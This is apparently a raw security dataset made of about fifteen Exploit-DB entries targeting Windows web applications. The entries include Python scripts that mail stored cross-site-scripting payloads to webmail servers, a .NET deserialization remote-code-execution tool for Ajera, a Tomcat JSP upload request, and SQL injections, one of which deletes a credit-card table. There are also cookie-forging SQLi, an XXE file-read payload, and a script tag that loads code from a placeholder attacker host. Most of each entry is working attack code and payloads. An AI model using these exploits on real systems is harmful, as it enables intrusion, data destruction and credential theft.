deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20352
Description: afterlogic mailsuite pro (VMware Appliance) 6.3 - Persistent Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2012-08-08
Author: loneferret

Exploit:
#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: AfterLogic Mailsuite Pro (VMware Appliance)
Version: 6.3
Vendor Site: http://www.afterlogic.com/
Software Download: http://www.afterlogic.com/download/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9
Client Test OS: Window XP Pro SP3 (x86)
Browser Used: Internet Explorer 8
Client Test OS: MAC OS Lion
Browser Used: Firefox 12

Injection Point: Body
Injection Payload(s):
1: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
2: <SCRIPT SRC=//attacker/.j>
3: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>

'''

import smtplib, urllib2

payload = """<IFRAME SRC="javascript:alert('XSS');"></IFRAME>"""

def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()

username = "hacker@offsec.local"
[CREDENTIAL_REDACTED]"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)
Exploit-DB #44986
Description: Airties AIR5444TT - Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2018-07-06
Author: Raif Berkay Dincel

Exploit:
# Exploit Title: Airties AIR5444TT - Cross-Site Scripting
# Date: 2018-07-06 
# Exploit Author: Raif Berkay Dincel
# Vendor Homepage: airties.com 
# Software [http://www.airties.com.tr/support/dcenter/]
# Version: [1.0.0.18]
# CVE-ID: CVE-2018-8738
# Tested on: MacOS High Sierra / Linux Mint / Windows 10
 
# Vulnerable Parameter Type: GET 
# Vulnerable Parameter: 192.168.2.1/top.html?page=main&productboardtype= 
 
# Proof of Concepts:
 
192.168.2.1/top.html?page=main&productboardtype=<script>alert("Raif Berkay Dincel");</script>
 
http://192.168.2.1/top.html?page=main&productboardtype=%3Cscript%3Ealert(%22Raif%20Berkay%20Dincel%22);%3C/script%3E
Exploit-DB #46086
Description: Ajera Timesheets 9.10.16 - Deserialization of Untrusted Data
Type: webapps
Platform: windows
Date: 2019-01-07
Author: Anthony Cole

Exploit:
# Exploit Title: Ajera Timesheets <= 9.10.16 - Deserialization of untrusted data
# Date: 2019-01-03
# Exploit Author: Anthony Cole
# Vendor Homepage: https://www.deltek.com/en/products/project-erp/ajera
# Version: <= 9.10.16
# Contact: http://twitter.com/acole76
# Website: http://twitter.com/acole76
# Tested on: Windows 2012
# CVE: CVE-2018-20221
# Category: webapps
#   
# Ajera is a software written in .NET by Deltek. Version <= 9.10.16 allows an attacker to cause the software to deserialize untrusted data that can result in remote code execution.
# Secure/SAService.rem in Deltek Ajera Timesheets <= 9.10.16 are vulnerable to remote code execution via deserialization of untrusted user input from an authenticated user. The executed code will run as the IIS Application Pool that is running the application.
#  

import struct, sys, requests, zlib, argparse, urlparse, subprocess

def run_command(command):
	p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
	output = b''
	for line in iter(p.stdout.readline, b''):
		output += line
		
	return output

def isurl(urlstr):
	try:
		urlparse.urlparse(urlstr)
		return urlstr
	except:
		raise argparse.ArgumentTypeError("invalid url")

if __name__ == "__main__":
	parser = argparse.ArgumentParser(description='Ajera .NET Remoting Exlpoit')
	parser.add_argument("--url", "-u", type=isurl, required=True, help="the url of the target.")
	parser.add_argument("--cmd", "-c", required=True, help="the command to execute")
	parser.add_argument("--auth", "-a", required=True, help="the ASPXAUTH cookie")
	parser.add_argument("--version", "-v", required=False, help="the version of Ajera Server. 8.9.9.0 => 8990", default="8990")
	parser.add_argument("--ysoserial", "-y", required=True, help="the path to ysoserial.exe")
	parser.add_argument("--proxy", "-p", type=isurl, required=False, help="ex: http://127.0.0.1:8080")
	args = parser.parse_args()
	
	url_parts = urlparse.urlparse(args.url)
	target_url = "%s://%s" % (url_parts.scheme, url_parts.netloc)
	
	proxies = {}
	if(args.proxy != None):
		proxy_parts = urlparse.urlparse(args.proxy)
		proxies[proxy_parts.scheme] = "%s://%s" % (proxy_parts.scheme, proxy_parts.netloc)
	
	cmd = "/c " + args.cmd
	size = len(cmd)
	
	serial_payload = run_command('%s -o raw -g TypeConfuseDelegate -f BinaryFormatter -c "%s"' % (args.ysoserial, args.cmd))
	
	url = target_url + "/ajera/Secure/SAService.rem"
	headers = {'Content-Type': 'application/octet-stream'}
	cookies = {'.ASPXAUTH': args.auth}
	payload = "\x04" + args.version + zlib.compress(serial_payload)
	response = requests.post(url, headers=headers, cookies=cookies, data=payload, proxies=proxies, verify=False)
Exploit-DB #15144
Description: Aleza Portal 1.6 - Insecure SQL Injection / Cookie Handling
Type: webapps
Platform: windows
Date: 2010-09-28
Author: KnocKout

Exploit:
Aleza Portal v1.6 - Insecure (SQLi) Cookie Handling 
=========================================================
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout 
[~] Contact : knockoutr@msn.com
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : Aleza Portal v1.6
~Software: http://www.webavail.com/
-Demo : http://www.webavail.com/alezademo/
~Vulnerability Style : (SQLi) Cookie Handling
~Google Keywords : Copyright 2001 WebAvail Productions, Inc. All Rights Reserved.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    ~~~~~~~~ Explotation ~~~~~~~~~~~

    Browser Injection for handling() by Javascript-SQLi Codes
    ================================
    javascript:document.cookie="alezalogin=login='or'level=11&pass='or';path=/";
    ================================
          [+]  Exploitable Browser Injected!

          [+]   Go to : http://[Victim]/admin
          
      
      GoodLucK ;)
Exploit-DB #24534
Description: Alt-N MDaemon 12.5.6/13.0.3 - Email Body HTML/JS Injection
Type: webapps
Platform: windows
Date: 2013-02-21
Author: QSecure & Demetris Papapetrou

Exploit:
==============================================================
   Alt-N MDaemon Email Body HTML/JS Injection Vulnerability
==============================================================

Software:  Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/
Vuln Type: HTML/JS Injection
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_Email_Body_HTML_JS_Injection.html
Discovered: 14/09/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html)
Disclosed: 18/02/2013

VULNERABILITY DESCRIPTION:
==========================
Alt-N MDaemon is prone to an HTML/Javascript injection vulnerability
because it fails to sanitize user-supplied input.

Attacker-supplied HTML and/or JavaScript code could run in the context
of the affected site, potentially allowing the attacker to steal
cookie-based authentication credentials and control how the site is
rendered to the user; other attacks are also possible.

Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.

PoC Exploit:
============
<<!-------->script>alert('XSS');<<!-------->/script>?iref=allsearch
Exploit-DB #20357
Description: Alt-N MDaemon free 12.5.4 - Persistent Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2012-08-08
Author: loneferret

Exploit:
#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: Alt-N MDaemon Free
Version: 12.5.4
Vendor Site: http://www.altn.com/
Software Download: http://www.altn.com/Downloads/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
18 Jul 2012: Vendor requests additional information from CERT. CERT advises vendor to contact the researcher.
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window XP Pro SP3 (x86)
Browser Used: Internet Explorer 8

Injection Point: Body
Injection Payload(s):
1: exp/*<XSS STYLE='no\xss:noxss("*//*");
xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
2: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
3: <HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML>

'''

import smtplib, urllib2

payload = """<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">"""

def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()

username = "hacker@offsec.local"
[CREDENTIAL_REDACTED]"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)
Exploit-DB #49536
Description: Alt-N MDaemon webmail 20.0.0 - 'Contact name' Stored Cross Site Scripting (XSS)
Type: webapps
Platform: windows
Date: 2021-02-08
Author: Kailash Bohara

Exploit:
# Exploit Title: Alt-N MDaemon webmail 20.0.0 - 'Contact name' Stored Cross Site Scripting (XSS)
# Date: 2020-08-25
# Exploit Author: Kailash Bohara
# Vendor Homepage: https://www.altn.com/
# Version: Mdaemon webmail < 20.0.0
# CVE : 2020-18724

1. Go to contact section and distribution list menu. Create a new distribution list.
2. Contact name field is vulnerabile to XSS. Use the payload <img src=x onerror=alert(1)>
3. We can see execution code and after saving it, each time we visits the distribution list section the XSS pop-up is seen.
Exploit-DB #49537
Description: Alt-N MDaemon webmail 20.0.0 - 'file name' Stored Cross Site Scripting (XSS)
Type: webapps
Platform: windows
Date: 2021-02-08
Author: Kailash Bohara

Exploit:
# Exploit Title: Alt-N MDaemon webmail 20.0.0 - 'file name' Stored Cross Site Scripting (XSS)
# Date: 2020-08-25
# Exploit Author: Kailash Bohara
# Vendor Homepage: https://www.altn.com/
# Version: Mdaemon webmail < 20.0.0
# CVE : 2020-18723

1. Rename a file and set it’s name as <img src=x onerror=alert(1)>.jpg
2. Go to New mail, select recipient and the select attachment. Code gets executed as right after upload so it becomes self XSS.
3. Send the mail to recipient and open email from recipent side. Opening just a mail doesn’t executes the code but when the victim clicks on forward button, XSS pop-up is shown.
Exploit-DB #21605
Description: Apache Tomcat 4.0.3 - Denial of Service 'Device Name' / Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2002-07-10
Author: Matt Moore

Exploit:
source: https://www.securityfocus.com/bid/5194/info

A vulnerability has been reported for Apache Tomcat 4.0.3 on a Microsoft Windows platform. Reportedly, it is possible for an attacker to launch a cross site scripting attack.

When making a request for a DOS device file name, Tomcat will throw an exception and respond with an error message. It is also possible for information to be appended to the DOS device when making a request. 

tomcat-server/COM2.IMG%20src= "Javascript:alert(document.domain)"
Exploit-DB #42953
Description: Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (1)
Type: webapps
Platform: windows
Date: 2017-09-20
Author: xxlegend

Exploit:
# E-DB Note: https://www.alphabot.com/security/blog/2017/java/Apache-Tomcat-RCE-CVE-2017-12617.html

When running on Windows with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default to false) it was possible to upload a JSP file to the server via a specially crafted request. 
This JSP could then be requested and any code it contained would be executed by the server.

    The PoC is like this:
    
    PUT /1.jsp/ HTTP/1.1
    Host: 192.168.3.103:8080
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Referer: http://192.168.3.103:8080/examples/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
    Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94
    Connection: close
    Content-Length: 26
    
    <% out.println("hello");%>

It is the bypass for CVE-2017-12615
Exploit-DB #20348
Description: Axigen Mail Server 8.0.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2012-08-08
Author: loneferret

Exploit:
#!/usr/bin/python

'''
Author: loneferret of Offensive Security
Product: Axigen Mail Server
Version: 8.0.1 (Windows/x86)
Vendor Site: http://www.axigen.com
Software Download Link: http://www.axigen.com/mail-server/download-axigen-mail-server-801-for-windows.html

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure


Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9

Injection Point:  Body
Injection Payload(s):

1: <DIV STYLE="width: expression(alert('XSS'));">
2: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
3: <XSS STYLE="xss:expression(alert('XSS'))">
4: <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]--

'''


import smtplib, urllib2

payload = """<DIV STYLE="width: expression(alert('XSS'));">"""

def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: Offensive Security\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()

username = "hacker@offsec.local"
[CREDENTIAL_REDACTED]"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)
Exploit-DB #43379
Description: BEIMS ContractorWeb 5.18.0.0 - SQL Injection
Type: webapps
Platform: windows
Date: 2017-12-20
Author: Rajwinder Singh

Exploit:
# Exploit Title: SQL Injection
# Date: 18 December, 2017
# Exploit Author: Rajwinder Singh
# Vendor Homepage: http://www.beims.com/products/
# Software Link: http://www.beims.com/optional-modules/#ccw

# Version: BEIMS ContractorWeb .NET System 5.18.0.0
# CVE : 2017-17721


Vulnerability Details:
======================
WEBNET/WOSummary/List in ZUUSE BEIMS ContractorWeb .NET 5.18.0.0 allows SQL injection via the tradestatus, assetno, assignto, building, domain, jobtype, site, trade, woType, workorderno, or workorderstatus parameter.

Impact:
======================
1. Database compromise
2. Server compromise
3. Application defacement
4. Internal network access and exploitation.


Proof-of-Concept:
====================
1. Injected SQL injection payload under page "/CWEBNET/WOSummary/List" in post parameter 'tradestatus' and received SQL error response from server.
2. Saved request in the text file to run automated SQLmap tool for further enumeration and successfully dumped full database which will not be disclosed.

Affected Component:
====================
URL: www.domain.com/CWEBNET/WOSummary/List
post parameters: tradestatus, assetno, assignto, building, domain, jobtype, site, trade, woType, workorderno, workorderstatus

Disclosure Timeline:
=====================
Mitre Notification: 18 December, 2017 
Public Disclosure: 18 December, 2017

Exploitation Technique:
=======================
Remote

Severity Level:
================
Critical

Description:
=====================================================
Request Method(s): [+] POST
Vulnerable Product: [+] BEIMS ContractorWeb .NET System 5.18.0.0

Reference: https://becomepentester.blogspot.ae/2017/12/ZUUSE-BEIMS-ContractorWeb-SQLInjection-CVE-2017-17721.html
Exploit-DB #10376
Description: Billwerx RC 3.1 - Multiple Vulnerabilities
Type: webapps
Platform: windows
Date: 2009-12-11
Author: mr_me

Exploit:
#################################################################

#

# Billwerx RC v3.1 Multiple Vulnerabilities

# Found By: mr_me

# Download: http://www.billwerx.com/download.php

# Tested On: Windows Vista

# Note: For educational purposes only

#

#################################################################



XSS POC:



A regular employee can embed javascript code that could be executed within the context of the admin's browser.

If the user edits their own profile by going to "http://[server]/billwerx_public_beta/employees/update_employee.php?employee_id=2" 

and places "<script>alert(document.cookie)</script>" 

into any of the following fields: 'firstname', 'billing address', 'billing city', 'billing province', 'billing postal', 'billing country' and then gives the following link to the admin:



http://[server]/billwerx_public_beta/employees/update_employee.php?employee_id=2



The user could potentially log the admins cookie and reset their own session thus gaining administration access.



SQL Injection POC:



http://127.0.0.1/billwerx_public_beta/employees/company_files.php



You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1')' at line 1



Here you can see in the code snip that the description post value is unsanitized. 



8<-------------snip-------------8<



$description = strtolower($_POST['description']);



$employee_id = $_SESSION['employee_id'];



$readfile = fopen($temp_name, 'r');

$content = fread($readfile, filesize($temp_name));

$content = addslashes($content);

fclose($readfile);



# Assign values to a database table:

$doSQL = "INSERT INTO company_files (name, size, type, content, public, description, employee_id) VALUES ('$name', '$size', '$type', '$content', '$public', '$description', '$employee_id')";



8<-------------snip-------------8<



SQL Injection exploit:



','1'); DELETE FROM credit_cards;/*



or



','1'); insert into employees values (4, 'mr_me', 'hello', '', '', '', '', '', 'mr_me@hax0r.com', 'lol_mypassword', 0.00, 3, '', '', '', '', '', '2009-07-28 10:47:59');/*
Exploit-DB #46106
Description: BlogEngine 3.3 - XML External Entity Injection
Type: webapps
Platform: windows
Date: 2019-01-09
Author: Netsparker

Exploit:
XML External Entity Injection Vulnerability in BlogEngine 3.3

Information
--------------------

Advisory by Netsparker
Name: XML External Entity Injection Vulnerability in BlogEngine 3.3
Affected Software: BlogEngine
Affected Versions: 3.3
Homepage: https://blogengine.io/
Vulnerability: XML External Entity (XXE) Injection Vulnerability
Severity: High
Status: Not Fixed
CVE-ID: 2018-14485
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H
Netsparker Advisory Reference: NS-18-045

Technical Details
--------------------

Url: http://websiteurl-blogengine3.3/metaweblog.axd
Parameter Name: BodyXML
Parameter Type: POST
Attack Pattern: <?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>

Advisory Timeline
--------------------

12th November 2018- First Attempt to Contact
9th January 2019 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Mustafa YalASSA+-n while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.